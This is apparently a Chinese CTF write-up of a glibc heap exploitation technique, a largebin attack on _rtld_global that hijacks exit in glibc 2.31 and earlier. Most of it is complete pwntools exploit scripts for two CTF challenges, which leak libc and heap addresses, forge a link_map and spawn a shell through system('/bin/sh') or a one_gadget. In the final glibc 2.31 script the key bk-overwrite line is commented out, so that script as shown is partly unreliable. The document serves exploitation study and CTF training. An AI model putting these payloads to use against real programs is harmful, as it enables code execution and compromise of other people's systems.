https://www.anquanke.com/post/id/222948

适用场景

满足任一条件即可

测试最新 glibc 2.31 及以下都可以

  1. 程序能够显式的执行exit函数
  2. 程序通过libc_start_main启动的主函数,且主函数能够结束

原理分析

海师傅原文分析很详尽:https://www.anquanke.com/post/id/222948

补充一点,largebin attack 源码,glibc 对只有这部分没有新增补丁都能适用这个方法:

image-20210910152321698

模板EXP

exp 题目基本可以通用,特殊的就是 rtl_global 和伪造结构体的 payload 第二个写入值随 glibc 版本变化有所变化:

1
2
3
4
5
6
7
8
9
                            这个值
+----------------------+
| |
payload = p64(0) + p64(libc_base + 0x221730) + p64(0) + p64(heap_addr + 0x960)
payload += p64(set_context) + p64(ret)

payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)

system(‘/bin/sh’)版本

以 2020西湖论剑决赛 husk 为例,glibc 2.30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#coding:utf8
from pwn import *

sh = process('./husk',env = {'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
libc_base = main_arena_xx - 0x1eb010
print 'libc_base=',hex(libc_base)
global_max_fast = libc_base + 0x1edb78
print 'global_max_fast=',hex(global_max_fast)
rtl_global = libc_base + 0x220060
print 'rtl_global=',hex(rtl_global)
set_context = libc_base + libc.sym['setcontext'] + 0x3D
ret = libc_base + libc.sym['setcontext'] + 0x14E
pop_rdi = libc_base + 0x00000000000277e9
binsh_addr = libc_base + libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym['system']
#print hex(libc_base + 0x2043ac)
edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)


#未归位的large bin
delete(2)
delete(4)

#控制large bin的bk
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
#raw_input()
add(0x600,'large bin attack!!')


payload = p64(0) + p64(libc_base + 0x221730) + p64(0) + p64(heap_addr + 0x960)
payload += p64(set_context) + p64(ret)

payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)
payload += '\x00'*0x80

payload += p64(heap_addr + 0x960 + 0x28 + 0x18)

payload += p64(pop_rdi)
payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x00')
payload += p8(0x8)
edit(2,payload)

edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
sh.sendlineafter('name:','haivk')

sh.interactive()

onegadget版本

以 2020西湖论剑决赛 husk 为例,glibc 2.30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#encoding:utf-8
from pwn import *

sh = process("./husk",env = {'LD_PRELOAD':'./libc-2.30.so'})
libc = ELF('./libc-2.30.so')
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)

add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
print 'main_arena_xx=',hex(main_arena_xx)
libc_base = main_arena_xx - 0x1eb010
print 'libc_base=',hex(libc_base)

rtl_global = libc_base + 0x226060 #需要替换
print 'rtl_global=',hex(rtl_global)

edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)

#未归位的large bin
delete(2)
delete(4)

#控制large bin的bk
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
#largebin attack
add(0x600,'large bin attack!!')


payload = p64(0)
payload += p64(libc_base + 0x227730) #需要替换
payload += p64(0)
payload += p64(heap_addr + 0x960) #写入rtl_global的堆地址

payload += p64(0)
payload += p64(libc_base+0x10af39) #onegadget

payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x01')
payload += p8(0x8)
edit(2,payload)

edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
sh.sendlineafter('name:','a')

sh.interactive()

两个地址

通用 exp 里面需要替换的两个地址,两个都是在 ld 文件里面

rtl_global

加载 ld 文件查基于 ld.so 的偏移地址,ld 和 libc 偏移固定,用 libc 基地址就能计算出真实地址:

1
2
3
from pwn import *
ld = ELF("/lib64/ld-linux-x86-64.so.2")
hex(ld.sym['_rtld_global'])

伪造结构体的l_name

image-20210910155830048

首先需要找到原来结构体的 l_name ,然后伪造结构体就填入 l_name+8 。

用 ida 远程调试,启动程序就行不需要运行 exp ,然后找到 l_name :

图中是 glibc 2.31

image-20210910160714990

l_name 原值是 0x7FFFF7FFE730,伪造结构体需要填入的是 0x7FFFF7FFE738

例题

2021 祥云杯 PassWordBox_ProVersion

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
context.log_level = 'debug'
#context.terminal = ['tmux','sp','-h']


# def command(index):
# p.sendlineafter("Choice:\n",str(index))

def add(id,size,content):
p.sendlineafter("Input Your Choice:\n",str(1))
p.sendlineafter("Which PwdBox You Want Add:\n",str(id))
p.sendafter("Save:",str(id))
p.sendlineafter("Pwd:",str(size))
p.sendafter("Pwd:",content)
def show(id):
p.sendlineafter("Choice:\n",str(3))
p.sendlineafter("Check:\n",str(id))
def delete(id):
p.sendlineafter("Choice:\n",str(4))
p.sendlineafter("Delete:\n",str(id))
def edit(id,data):
p.sendlineafter("Choice:\n",str(2))
p.sendlineafter(" PwdBox You Want Edit:\n",str(id))
p.send(str(data))
def recovery(id):
p.sendlineafter("Choice:\n",str(5))
p.sendlineafter("you want 2 Recover:\n",str(id))

p = process("./pwdPro")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# p=process('./pwdPro',env={'LD_PRELOAD':'./libc.so'})
#p=remote('47.104.71.220',49261)
#libc = ELF("libc.so")


# leak randnum
add(0,0x520,'\n')
p.recvuntil('D:')
leak=u64(p.recv(8))
rand=leak^0xa
print hex(rand)

# leak libc addr
add(1,0x428,'\n') #1
add(2,0x500,'\n') #2
add(3,0x420,'\n') #3

delete(0)
add(4,0x600,'\n') #4
add(5,0x600,'\n') #5
recovery(0)
show(0)
p.recvuntil("is: ")
leak_addr = (u64(p.recv(8))^rand)-1168
log.info("leak_addr: "+hex(leak_addr))
libc_base = leak_addr - 0x1ebb80
log.info("libc_base: "+hex(libc_base))

system_addr = libc_base+libc.sym['system']
print "system:",hex(system_addr)
setcontext_61 = libc_base+libc.sym['setcontext']+61
print "setcontext_61:",hex(setcontext_61)
ret = libc_base + libc.sym['setcontext']+351
print "ret:",hex(ret)

rtl_global = libc_base + 0x23c060#(0x2E060+0x7ffff7fcf000-0x7ffff7dc1000)
log.info("rtl_global: "+hex(rtl_global))
log.info("xxxxxxxxxx: "+hex(libc_base + 0x23d738))

pop_rdi = libc_base + 0x00000000000276e9
print "pop_rdi:",hex(pop_rdi)
binsh_addr = libc_base + 0x00000000001b75aa
print "binsh_addr:",hex(binsh_addr)
ogg = libc_base + 0xe6e79

edit(0,'a'*0x10)
show(0)
p.recvuntil("Pwd is: ")
p.recv(16)
heap_addr = u64(p.recv(8, 2)) ^ rand
log.info("heap_addr: "+hex(heap_addr))
edit(0,p64(leak_addr+1168)*2)

delete(2)
delete(4)

edit(0,p64(leak_addr+1168) + p64(leak_addr+1168) + p64(0) + p64(rtl_global - 0x20))
add(11,0x600,'large bin attack!!\n')

recovery(2)

payload = p64(0) + p64(libc_base + 0x23d740) + p64(0) + p64(heap_addr + 0x960)
payload += p64(setcontext_61) + p64(ret)

payload += p64(binsh_addr)
payload += p64(0)
payload += p64(system_addr)
payload += b'\x00'*0x80

payload += p64(heap_addr + 0x960 + 0x28 + 0x18)

payload += p64(pop_rdi)
payload = payload.ljust(0x100,b'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*0x3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,b'\x00')
payload += p8(0x8)
#payload = payload.ljust(0x500,b'\x00')

gdb.attach(p)
raw_input()

edit(2,payload)
edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

p.sendline("6")

p.interactive()

2020 西湖论剑 husk

glibc 2.30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#encoding:utf-8
from pwn import *

# context.log_level = 'debug'
#context.terminal = ['tmux','sp','-h']

# p = process(["ld-2.30.so", "./poc"],env={"LD_PRELOAD":"./libc-2.30.so"})
#sh = process(["./ld-2.30.so", "./husk"],env = {'LD_PRELOAD':'./libc-2.30.so'})
sh = process("./husk")
libc = ELF('./libc-2.30.so')
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)

add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
print 'main_arena_xx=',hex(main_arena_xx)
libc_base = main_arena_xx - (0x7ffff7fc2010-0x7ffff7dd7000)#0x1eb010
print 'libc_base=',hex(libc_base)

rtl_global = libc_base + 0x226060
print 'rtl_global=',hex(rtl_global)

# print hex(libc_base + 0x2043ac)

edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)

#未归位的large bin
delete(2)
delete(4)

gdb.attach(sh,'b *$rebase(0xAAF)')
raw_input()
# 0x0000555555602040
# 0x7ffff7fe1408 call r14

#控制large bin的bk
edit(0,p64(0) + p64(0) + p64(0) + p64(rtl_global - 0x20))
#raw_input()
add(0x600,'large bin attack!!')


payload = p64(0)
payload += p64(libc_base + 0x227730)
payload += p64(0)
payload += p64(heap_addr + 0x960) #写入rtl_global的堆地址

payload += p64(0)
payload += p64(libc_base+0x10af39)#onegadget

payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x01')
payload += p8(0x8)
edit(2,payload)

edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
sh.sendlineafter('name:','a')

sh.interactive()

glibc 2.31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#encoding:utf-8
from pwn import *

# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']

# p = process(["ld-2.30.so", "./poc"],env={"LD_PRELOAD":"./libc-2.30.so"})
# sh = process(["./ld-2.30.so", "./husk"],env = {'LD_PRELOAD':'./libc-2.30.so'})
# sh = process(["/lib/x86_64-linux-gnu/ld-2.31.so", "./husk"],env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
sh = process("./husk.bak")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc-2.30.so'
#sh = remote('100.1.0.111',9999)

def add(size,content = ''):
sh.sendlineafter('>>','1')
sh.sendlineafter('Size:',str(size))
if content != '':
sh.sendafter('Content:',content)

def delete(index):
sh.sendlineafter('>>','2')
sh.sendlineafter('Index:',str(index))

def show(index):
sh.sendlineafter('>>','3')
sh.sendlineafter('Index:',str(index))

def edit(index,content):
sh.sendlineafter('>>','4')
sh.sendlineafter('Index:',str(index))
sh.sendafter('Content:',content)

add(0x520,'a'*0x520) #0
add(0x428,'b'*0x428) #1
add(0x500,'c'*0x500) #2
add(0x420,'d'*0x420) #3

delete(0)
add(0x600,'c'*0x600) #4
add(0x600,'c'*0x600) #5
show(0)
sh.recvuntil('Content: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
print 'main_arena_xx=',hex(main_arena_xx)
libc_base = main_arena_xx - (0x7ffff7fc3010-0x7ffff7dd7000)#0x1eb010
print 'libc_base=',hex(libc_base)

rtl_global = libc_base + (0x2E060+0x7ffff7fcf000-0x7ffff7dc1000)#0x226060 0x220060
print 'rtl_global=',hex(rtl_global)

edit(0,'a'*0x10)
show(0)
sh.recvuntil('a'*0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,p64(main_arena_xx)*2)


gdb.attach(sh,'b *$rebase(0xAAF)')
raw_input()
# 0x0000555555602040
# 0x7ffff7fe1408 call r14

#未归位的large bin
delete(2)
delete(4)

#控制large bin的bk
#edit(0,p64(main_arena_xx) + p64(main_arena_xx) + p64(0) + p64(rtl_global - 0x20))
add(0x600,'large bin attack!!')


payload = p64(0)
payload += p64(libc_base+(8+0x7FFFF7FFE730-0x7ffff7dc1000))
payload += p64(0)
payload += p64(heap_addr + 0x960)

payload += p64(0)+p64(libc_base+0xe6c81)#onegadget

payload = payload.ljust(0x100,'\x00')
payload += p64(heap_addr + 0x960 + 0x10 + 0x110)*3
payload += p64(0x10)
payload = payload.ljust(0x31C - 0x10,'\x01')
payload += p8(0x8)
edit(2,payload)

edit(1,'b'*0x420 + p64(heap_addr + 0x960 + 0x20))

#getshell
sh.sendlineafter('>>','5')
sh.sendlineafter('name:','a')

sh.interactive()